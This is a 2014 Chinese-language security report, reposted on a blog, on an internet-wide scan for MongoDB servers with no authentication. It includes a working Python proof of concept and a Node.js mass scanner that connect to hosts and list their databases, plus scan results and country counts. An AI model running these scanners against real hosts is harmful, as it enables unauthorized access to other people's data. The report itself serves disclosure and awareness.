Mongodb未授權訪問漏洞全網探測報告

G8bao7發表於2014-12-11

from:


Mongodb unauthorized access vulnerability global probing report

- Mongodb未授權訪問漏洞全網探測報告

 

[+] Author: f1,2,4
[+] Team: FF0000 TEAM <
[+] From: HackerSoul <
[+] Create: 2014-12-10 
  • Introduction
  • Domain list
  • Proof of Concept
  • Scan results
  • IP location
  • Evil hackers

0. Introduction

Mongodb遭受到的攻擊型別比較少,在一些漏洞平臺所釋出的Mongodb漏洞都是一些未授權訪問。在烏雲上也有近100個這樣的案例(這只是一部分資料),於是我們便想探測下全世界的mongodb資料庫放在公網上的到底有多少個可以未授權訪問進資料庫去檢視資料呢?

Ohhhhh, it's crazy!

未授權訪問漏洞成因:Mongodb在啟動的時候提供了很多引數,如日誌記錄到哪個資料夾,是否開啟認證等。造成未授權訪問的根本原因就在於啟動Mongodb的時候未設定 --auth 也很少會有人會給資料庫新增上賬號密碼(預設空口令,它像一張白紙,需要管理員自己去塗寫賬號),使用預設空口令這將導致任何人無需進行賬號認證就可以登陸到資料伺服器。

1. Domain list

全球使用Mongodb的有多少呢?我們首先在SHODAN上進行了搜尋得到了57736的數值統計,隨後我們又在ZoomEye上進行了搜尋得到了53475的數值統計。現在我們陷入了一個尷尬,沒有辦法完全獲得他們庫中的資料,所以只能使用手中根據1.1.1.1~255.255.255.255 IP段進行反查的域名加已有IP來進行指紋探測,得到最終使用Mongodb的IP/域名,這是個難題。

我們將這些IP/域名列出後放到叢集便開始了指紋探測,最終我們拿到了近40000個IP列表,雖然比他們差了些但起碼也夠用了,有了這份列表我們終於就能夠輕鬆的進行後續的檢測了。

2. Proof of Concept

檢測指令碼我們就直接使用1024編寫的這個POC來進行檢測【】:

#!/usr/bin/env python # coding=utf-8 """ Site:  Framework:  """ import pymongo import urllib2 import urlparse from baseframe import BaseFrame class MyPoc(BaseFrame):
    poc_info = { # poc相關資訊 'poc': { 'id': 'poc-2014-0194', 'name': 'Mongodb 配置不當導致未授權訪問漏洞 POC', 'author': '1024', 'create_date': '2014-12-10',
        }, # 協議相關資訊 'protocol': { 'name': 'http', 'port': [28017], 'layer3_protocol': ['tcp'],
        }, # 漏洞相關資訊 'vul': { 'app_name': 'Mongodb', 'vul_version': ['*'], 'type': 'Information Disclosure', 'tag': ['Mongodb資訊洩露漏洞', '預設空口令未授權訪問漏洞', '27017/28017埠'], 'desc': 'mongodb啟動時未加 --auth選項,導致無需認證即可連線mongodb資料庫,從而導致一系列安全問題。', 'references': ['N/A',
                           ],
        },
    } @classmethod def verify(cls, args):
        verify_url = args['options']['target']
        ip_addr = urlparse.urlparse(verify_url).netloc if args['options']['verbose']: print '[*] Connect mongodb: ' + ip_addr + ':27017' try:
            conn = pymongo.MongoClient(ip_addr, 27017, socketTimeoutMS=3000)
            dbname = conn.database_names() if dbname:
                args['success'] = True args['poc_ret']['vul_url'] = ip_addr + ':27017' args['poc_ret']['database_names'] = dbname except Exception, e: print str(e)
            args['success'] = False return args return args

    exploit = verify if __name__ == '__main__': from pprint import pprint

    mp = MyPoc()
    pprint(mp.run())

正當準備開始掃描的時候,F4說他寫好了node.js的POC指令碼並且已經開始了探測:

// Get url list var FilePath = ""; var lineread = require("line-reader"); var mongoose = require('mongoose'); function conn(host,callback){ var databaseUrl = 'mongodb://'+host; var options = { server: { socketOptions: { connectTimeoutMS: 4000 }}}; var db = mongoose.createConnection(databaseUrl, options);
    db.on('error', function(error) { //console.log(error) db.close(); return;
    });
    db.once('open',function(){
        callback(host);
    })
    db.close();
}
lineread.eachLine(FilePath, function(line) { if(String(line)){
        conn(line,function(callback){ console.log("Success : "+callback);
        });
    }
}).then(function () { console.log(FilePath+" Read Done!");
});

提醒:之所以我們沒有使用28017埠進行探測漏洞是因為存在較高的誤報,所以POC直接採取了建立與目標mongodb資料庫的連線,判斷是否成功來進行檢測。

3. Scan results

目標列表從最初的幾千萬縮小到<40000對效率來說是非常有意義的,所以10分鐘後我們對這些目標已經完成了全部掃描,結果令我們驚訝:

[*] Start-date: 20141202-23:20
[*] End-date: 20141202-23:28

[*] Info
    [+] Target: 39818
    [+] Success: 7071

[*] Done 

在掃描的39,818個IP中,我們發現7,071個存在未授權訪問漏洞,這個比例高達:17.7%

4. IP location

在這39,818個IP中我們對其進行了去重,發現又減少了8,000多個,到最後的資料為:31,126。

為了能夠友好的展示出影響效果,我們把這31,126個IP地址進行了地理位置探測,指令碼:

#!/usr/bin/env python # coding=utf8 # author=f1#ff0000team import re import sys import json import requests reload(sys)
sys.setdefaultencoding('utf-8')


f_obj = open('./Port_27017','r')
f_content = f_obj.readlines() for i in f_content:
    url = '%s' % i try:
        page_content = requests.get(url).text.encode('utf8') except: continue json_data = json.loads(page_content)
    ip = json_data['data']['ip'][:-1]
    country = json_data['data']['country']
    return_str = ip + ' --- ' + country + '\n' print return_str
    output = open('./port27017_aliip.txt', 'a+')
    output.write(return_str)
    output.close()

為了能夠將這些資料方便的統計出來,F2編寫了py進行處理:

#!/usr/bin/env python2 # encoding:utf8 # author:f2#ff0000team # 去重 s = set()
fo1 = open('./port27017_aliip_1.txt', 'wb') for eachLine in open('port27017_aliip.txt', 'rbU'):
    s.add(eachLine)
fo1.writelines(s) # 統計 d = {} for eachLine in s:
    ip, country = eachLine.strip().split('---')
    d[country] = d.get(country, 0) + 1 fo2 = open('port27017_aliip_2.txt', 'wb') for x in sorted(d.iteritems(), key=lambda i: i[1], reverse=True):
    fo2.write(x[0]+'\t'+str(x[1])+'\n')

最終我們得到了這31,126個IP的國家統計資料:

  • 美國 13496
  • 德國 2513
  • 中國 1663
  • 俄羅斯 1317
  • 荷蘭 1001
  • 英國 732
  • 法國 449
  • 羅馬尼亞 360
  • 加拿大 316
  • 韓國 288
  • 挪威 271
  • 日本 256
  • 瑞典 224
  • 義大利 205
  • 土耳其 200
  • 其他

存在未授權訪問漏洞的國家統計資料:

  • 美國 4184
  • 德國 499
  • 荷蘭 228
  • 俄羅斯 211
  • 英國 128
  • 中國 120
  • 法國 95
  • 加拿大 93
  • 韓國 60
  • 其他

最終我們把他繪製成影像展示出來:

5. Evil hackers

面對著數以萬計對你敞開大門的伺服器,有些惡意攻擊者就坐不住了,我們透過在本機的簡單測試,發現能夠很輕鬆的連線資料庫並將資料遠端傳送到另外一臺伺服器上,以實現脫褲。

這樣想法的攻擊者會有很多,在之前的一些漏洞爆發後我們也見到過更加邪惡的駭客,他們最終被淪為金錢厲鬼。

最後,真摯的希望文章發出後能夠減少諸如此類漏洞的存在。

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/26250550/viewspace-1364758/,如需轉載,請註明出處,否則將追究法律責任。

相關文章